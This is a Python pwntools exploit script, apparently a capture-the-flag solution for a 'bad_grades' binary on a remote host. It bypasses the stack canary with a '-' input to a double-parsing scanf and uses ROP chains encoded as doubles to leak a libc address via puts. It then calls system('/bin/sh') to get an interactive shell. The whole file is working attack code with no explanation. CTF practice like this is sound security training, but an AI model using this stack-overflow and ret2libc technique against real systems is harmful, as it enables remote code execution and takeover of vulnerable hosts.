#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 167.99.85.216 --port 31288 ./bad_grades_patched
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './bad_grades_patched')
libc_exe = ELF('./libc.so.6')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '167.99.85.216'
port = int(args.PORT or 31288)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
b *0x401088
command
x/10gx $rbp-16
end
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x3fe000)
# RUNPATH:  b'.'

def to_double(x):
    return struct.unpack('d', struct.pack('<Q', x))[0]

io = start()
num = 39

io.sendlineafter(b'>', b'2')
io.sendlineafter(b':', str(num).encode())

for i in range(33):
    print(i)
    io.sendlineafter(b': ', b'1')

print('canary')
io.sendlineafter(b': ', b'-')
print('saved rbp')
io.sendlineafter(b': ', b'-')

pop_rdi_ret = 0x401263
fun_addr = 0x400fd5
ret_addr = 0x400666

rop_chain = [
    to_double(pop_rdi_ret),
    to_double(exe.got['printf']),
    to_double(exe.plt['puts']),
    to_double(fun_addr)
]

for idx, p in enumerate(rop_chain):
    print(f'{idx+1} / {len(rop_chain)}')
    io.sendlineafter(b': ', str(p).encode())

ret = io.recvuntil(b'grades: ')
leak = ret.splitlines()[1]
leak = u64(leak.ljust(8, b'\x00'))
print(f'leak: {hex(leak)}')

libc_base = leak - libc_exe.symbols['printf']
system_addr = libc_base + libc_exe.symbols['system']
binsh_addr = libc_base + next(libc_exe.search(b'/bin/sh'))

print(f'system: {hex(system_addr)}')
print(f'/bin/sh: {hex(binsh_addr)}')

rop_chain = [
    to_double(pop_rdi_ret),
    to_double(binsh_addr),
    to_double(ret_addr),
    to_double(system_addr)
]

num = 35 + len(rop_chain)
io.sendline(str(num).encode())

for i in range(33):
    print(i)
    io.sendlineafter(b': ', b'1')

print('canary')
io.sendlineafter(b': ', b'-')
print('saved rbp')
io.sendlineafter(b': ', b'-')

for idx, p in enumerate(rop_chain):
    print(f'{idx+1} / {len(rop_chain)}')
    io.sendlineafter(b': ', str(p).encode())

io.interactive()


